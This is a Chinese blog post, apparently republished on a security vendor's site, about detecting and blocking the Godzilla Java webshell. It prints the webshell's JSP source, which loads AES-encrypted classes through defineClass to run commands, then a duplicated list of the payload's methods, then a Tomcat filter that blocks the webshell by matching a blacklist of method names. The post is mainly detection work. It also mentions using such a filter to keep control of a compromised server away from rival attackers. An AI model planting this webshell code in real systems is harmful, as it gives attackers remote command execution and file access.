长亭百川云 - 文章详情

用魔法打败魔法(浅谈 WebShell 对抗)

逆流i

46

2024-07-21

用魔法打败魔法(浅谈 WebShell 对抗)

近些年攻防中 Java webshell 不能说尤为常见吧,差不多也是次次都有。本文拿最为流行的 webshell 工具之一“Godzilla
”为例,使用最简单的方式,实现"致盲"的效果。

赘述 Java WebShell 实现原理

众所周知,Java 里没有提供像php
中eval()
直接去动态执行代码的方法,但是可以通过ClassLoader
的defineClass
去定义一个类。

实际上也就拥有了动态执行代码的能力。

再来具体看Godzilla
的服务器端实现,它也正是通过动态类加载实现的各种如文件上传、命令执行等功能,然后再套进AES
加解密,其核心就是使用了defineClass
进行动态类加载。

<%!  
    String xc="3c6e0b8a9c15224a";  
    String pass="pass";  
    String md5=md5(pass+xc);  
    class X extends ClassLoader{  
        public X(ClassLoader z){  
            super(z);  
        }  
        public Class Q(byte[] cb){  
            return super.defineClass(cb, 0, cb.length);  
        } }  
        public byte[] x(byte[] s,boolean m){  
            try{  
                javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");  
                c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));  
                return c.doFinal(s);  
            }catch (Exception e){  
                return null;  
            }  
        }  
        public static String md5(String s) {  
            String ret = null;  
            try {  
                java.security.MessageDigest m;  
                m = java.security.MessageDigest.getInstance("MD5");  
                m.update(s.getBytes(), 0, s.length());  
                ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();  
            } catch (Exception e) {  
            }  
            return ret;  
        }  
       //展示起来太长不美观,剔除了反射获取base64类相关代码  
%>  
<%  
    try{  
        byte[] data=base64Decode(request.getParameter(pass));  
        data=x(data,false);  
        if (session.getAttribute("payload")==null){  
            System.out.println("session setAttribute Payload");  
            session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));  
        }else{  
            request.setAttribute("parameters",data);  
            java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();  
            Object f=((Class)session.getAttribute("payload")).newInstance();  
            f.equals(arrOut);  
            f.equals(pageContext);  
            response.getWriter().write(md5.substring(0,16));  
            f.toString();  
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));  
            response.getWriter().write(md5.substring(16));  
        }  
    }catch(Exception e){}  
%>

我们在某些场景中可能会遇到这样的问题,就比如在应急的过程中,Web
程序中可能被打入了内存马,服务器又不能直接下线,又或者是攻击过程中,一个漏洞被多个队伍重复利用;为了避免这种”狭路相逢勇者胜“的局面,我们需要些小小的手段,来使我们尽可能处于更有利的局面。

用魔法打败魔法

tomcat
环境里WebShell
可以动态注册Filter
、Listener
来实现文件不落地,相对更隐蔽的方式进行控制。"攻防不分家",当然我们也能使用这样的方式来作为临时性的防御手段。

聚焦到这段代码里,可以看到默认情况下它会将要加载的类信息放置到Attribute
中。

<%  
    try{  
        byte[] data=base64Decode(request.getParameter(pass));  
        data=x(data,false);  
        if (session.getAttribute("payload")==null){  
            System.out.println("session setAttribute Payload");  
            session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));  
        }else{  
            request.setAttribute("parameters",data);  
            java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();  
            Object f=((Class)session.getAttribute("payload")).newInstance();  
            f.equals(arrOut);  
            f.equals(pageContext);  
            response.getWriter().write(md5.substring(0,16));  
            f.toString();  
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));  
            response.getWriter().write(md5.substring(16));  
        }  
    }catch(Exception e){}  
%>

在Servlet
的HttpServletRequest
对象中通过getAttributeNames()
方法能够获取到当前请求会话中的所有Attribute
,我们可以通过遍历其中哪些属性中包含Class
对象,再通过getDeclaredMethods获取这个类中所有的方法来识别疑似的恶意代码:

public class TestFilter implements Filter {  
    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {  
        HttpServletRequest request = (HttpServletRequest) servletRequest;  
        Enumeration<String> requestAttributeNames = request.getSession().getAttributeNames();  
        while (requestAttributeNames.hasMoreElements()) {  
            String attributeName = requestAttributeNames.nextElement();  
            Class<?> suspectClass = (Class<?>) request.getSession().getAttribute(attributeName);  
            Method[] methods = suspectClass.getDeclaredMethods();  
            for (Method method : methods) {  
                System.out.println(method);  
            }  
        }  
        filterChain.doFilter(servletRequest,servletResponse);  
    }

Godzilla
初始化传递的类包含的所有方法,其中就包含有像execCommand
、getBasicinfo
等方法:

public java.lang.String org.apache.coyote.node.TextNode.base64Encode(java.lang.String)  
public static java.lang.String org.apache.coyote.node.TextNode.base64Encode(byte[])  
public static byte[] org.apache.coyote.node.TextNode.base64Decode(java.lang.String)  
public void org.apache.coyote.node.TextNode.formatParameter()  
public static int org.apache.coyote.node.TextNode.bytesToInt(byte[])  
public byte[] org.apache.coyote.node.TextNode.readFile()  
public byte[] org.apache.coyote.node.TextNode.uploadFile()  
public byte[] org.apache.coyote.node.TextNode.newFile()  
public byte[] org.apache.coyote.node.TextNode.newDir()  
public void org.apache.coyote.node.TextNode.deleteFiles(java.io.File) throws java.lang.Exception  
public byte[] org.apache.coyote.node.TextNode.moveFile()  
public byte[] org.apache.coyote.node.TextNode.copyFile()  
public static java.lang.String org.apache.coyote.node.TextNode.getLocalIPList()  
public java.util.Map org.apache.coyote.node.TextNode.getEnv()  
public byte[] org.apache.coyote.node.TextNode.execSql() throws java.lang.Exception  
public byte[] org.apache.coyote.node.TextNode.bigFileUpload()  
public byte[] org.apache.coyote.node.TextNode.bigFileDownload()  
private void org.apache.coyote.node.TextNode.noLog(java.lang.Object)  
private boolean org.apache.coyote.node.TextNode.supportClass(java.lang.Object,java.lang.String)  
java.lang.Object org.apache.coyote.node.TextNode.getMethodAndInvoke(java.lang.Object,java.lang.String,java.lang.Class[],java.lang.Object[])  
java.lang.reflect.Method org.apache.coyote.node.TextNode.getMethodByClass(java.lang.Class,java.lang.String,java.lang.Class[])  
private void org.apache.coyote.node.TextNode.initSessionMap()  
public void org.apache.coyote.node.TextNode.setSessionAttribute(java.lang.String,java.lang.Object)  
public byte[] org.apache.coyote.node.TextNode.getByteArray(java.lang.String)  
public java.lang.String org.apache.coyote.node.TextNode.listFileRoot()  
public byte[] org.apache.coyote.node.TextNode.getBasicsInfo()  
public byte[] org.apache.coyote.node.TextNode.execCommand()  
public byte[] org.apache.coyote.node.TextNode.fileRemoteDown()  
public byte[] org.apache.coyote.node.TextNode.screen()  
public byte[] org.apache.coyote.node.TextNode.setFileAttr()  
private void org.apache.coyote.node.TextNode.handlePayloadContext(java.lang.Object)  
public java.lang.Object org.apache.coyote.node.TextNode.getSessionAttribute(java.lang.String)  
public byte[] org.apache.coyote.node.TextNode.deleteFile()  
public java.lang.Class org.apache.coyote.node.TextNode.g(byte[])  
public static java.sql.Connection org.apache.coyote.node.TextNode.getConnection(java.lang.String,java.lang.String,java.lang.String)  
public static java.lang.Object org.apache.coyote.node.TextNode.getFieldValue(java.lang.Object,java.lang.String) throws java.lang.Exception  
public java.lang.String org.apache.coyote.node.TextNode.getDocBase()  
public java.lang.String org.apache.coyote.node.TextNode.getRealPath()  
public byte[] org.apache.coyote.node.TextNode.include()  
java.lang.Object org.apache.coyote.node.TextNode.invoke(java.lang.Object,java.lang.String,java.lang.Object[])  
public byte[] org.apache.coyote.node.TextNode.run()  
public java.lang.String org.apache.coyote.node.TextNode.get(java.lang.String)  
public boolean org.apache.coyote.node.TextNode.equals(java.lang.Object)  
public java.lang.String org.apache.coyote.node.TextNode.toString()  
private static java.lang.Class org.apache.coyote.node.TextNode.getClass(java.lang.String)  
public static byte[] org.apache.coyote.node.TextNode.copyOf(byte[],int)  
public byte[] org.apache.coyote.node.TextNode.close()  
public byte[] org.apache.coyote.node.TextNode.getFile()  
public byte[] org.apache.coyote.node.TextNode.test()  
public boolean org.apache.coyote.node.TextNode.handle(java.lang.Object)  
public java.lang.String org.apache.coyote.node.TextNode.base64Encode(java.lang.String)  
public static java.lang.String org.apache.coyote.node.TextNode.base64Encode(byte[])  
public static byte[] org.apache.coyote.node.TextNode.base64Decode(java.lang.String)  
public void org.apache.coyote.node.TextNode.formatParameter()  
public static int org.apache.coyote.node.TextNode.bytesToInt(byte[])  
public byte[] org.apache.coyote.node.TextNode.readFile()  
public byte[] org.apache.coyote.node.TextNode.uploadFile()  
public byte[] org.apache.coyote.node.TextNode.newFile()  
public byte[] org.apache.coyote.node.TextNode.newDir()  
public void org.apache.coyote.node.TextNode.deleteFiles(java.io.File) throws java.lang.Exception  
public byte[] org.apache.coyote.node.TextNode.moveFile()  
public byte[] org.apache.coyote.node.TextNode.copyFile()  
public static java.lang.String org.apache.coyote.node.TextNode.getLocalIPList()  
public java.util.Map org.apache.coyote.node.TextNode.getEnv()  
public byte[] org.apache.coyote.node.TextNode.execSql() throws java.lang.Exception  
public byte[] org.apache.coyote.node.TextNode.bigFileUpload()  
public byte[] org.apache.coyote.node.TextNode.bigFileDownload()  
private void org.apache.coyote.node.TextNode.noLog(java.lang.Object)  
private boolean org.apache.coyote.node.TextNode.supportClass(java.lang.Object,java.lang.String)  
java.lang.Object org.apache.coyote.node.TextNode.getMethodAndInvoke(java.lang.Object,java.lang.String,java.lang.Class[],java.lang.Object[])  
java.lang.reflect.Method org.apache.coyote.node.TextNode.getMethodByClass(java.lang.Class,java.lang.String,java.lang.Class[])  
private void org.apache.coyote.node.TextNode.initSessionMap()  
public void org.apache.coyote.node.TextNode.setSessionAttribute(java.lang.String,java.lang.Object)  
public byte[] org.apache.coyote.node.TextNode.getByteArray(java.lang.String)  
public java.lang.String org.apache.coyote.node.TextNode.listFileRoot()  
public byte[] org.apache.coyote.node.TextNode.getBasicsInfo()  
public byte[] org.apache.coyote.node.TextNode.execCommand()  
public byte[] org.apache.coyote.node.TextNode.fileRemoteDown()  
public byte[] org.apache.coyote.node.TextNode.screen()  
public byte[] org.apache.coyote.node.TextNode.setFileAttr()  
private void org.apache.coyote.node.TextNode.handlePayloadContext(java.lang.Object)  
public java.lang.Object org.apache.coyote.node.TextNode.getSessionAttribute(java.lang.String)  
public byte[] org.apache.coyote.node.TextNode.deleteFile()  
public java.lang.Class org.apache.coyote.node.TextNode.g(byte[])  
public static java.sql.Connection org.apache.coyote.node.TextNode.getConnection(java.lang.String,java.lang.String,java.lang.String)  
public static java.lang.Object org.apache.coyote.node.TextNode.getFieldValue(java.lang.Object,java.lang.String) throws java.lang.Exception  
public java.lang.String org.apache.coyote.node.TextNode.getDocBase()  
public java.lang.String org.apache.coyote.node.TextNode.getRealPath()  
public byte[] org.apache.coyote.node.TextNode.include()  
java.lang.Object org.apache.coyote.node.TextNode.invoke(java.lang.Object,java.lang.String,java.lang.Object[])  
public byte[] org.apache.coyote.node.TextNode.run()  
public java.lang.String org.apache.coyote.node.TextNode.get(java.lang.String)  
public boolean org.apache.coyote.node.TextNode.equals(java.lang.Object)  
public java.lang.String org.apache.coyote.node.TextNode.toString()  
private static java.lang.Class org.apache.coyote.node.TextNode.getClass(java.lang.String)  
public static byte[] org.apache.coyote.node.TextNode.copyOf(byte[],int)  
public byte[] org.apache.coyote.node.TextNode.close()  
public byte[] org.apache.coyote.node.TextNode.getFile()  
public byte[] org.apache.coyote.node.TextNode.test()  
public boolean org.apache.coyote.node.TextNode.handle(java.lang.Object)

到这儿已经能够实现对默认情况下的Godzilla
通讯检测,也可以通过检测类方法中黑名单的方式来进行阻断通讯。当然实战中也可以通过反射去动态注册。

最终代码:

package org.example;  
  
import javax.servlet.*;  
import javax.servlet.http.HttpServletRequest;  
import java.io.IOException;  
import java.lang.reflect.Method;  
import java.util.*;  
  
public class TestFilter implements Filter {  
    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {  
  
        List<String> blackList = new ArrayList<>();  
        //检查某个类中是否同时包含以下几个方法名称  
        blackList.add("getBasicsInfo");  
        blackList.add("execCommand");  
        blackList.add("fileRemoteDown");  
        blackList.add("screen");  
        blackList.add("setFileAttr");  
        blackList.add("handlePayloadContext");  
        HttpServletRequest request = (HttpServletRequest) servletRequest;  
  
  
        Enumeration<String> requestAttributeNames = request.getSession().getAttributeNames();  
        while (requestAttributeNames.hasMoreElements()) {  
            String attributeName = requestAttributeNames.nextElement();  
            Class<?> suspectClass = (Class<?>) request.getSession().getAttribute(attributeName);  
            Method[] methods = suspectClass.getDeclaredMethods();  
  
            int count =0;  
            if(methods.length < 60) {  
                //防止出现预期外ddos  
                for (Method method : methods) {  
//                    System.out.println(method);  
                    count += blackList.contains(method.getName()) ? 1 : 0;  
                    if(count == blackList.size()) {  
                        System.out.println("[+] WebShell Detected :"+request.getServletPath());  
                        return;  
                    }  
                }  
            }  
        }  
        filterChain.doFilter(servletRequest,servletResponse);  
    }

马儿已经无法正常初始化,也可以写些其他的逻辑,让其只能为我所用。

本文使用了最简单的思路对Godzilla
进行了阻断和检测,但并不能保证能探测到某些魔改后的工具。

推荐阅读


网络无边界,安全有底线。

关注不迷路,共筑防火墙。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2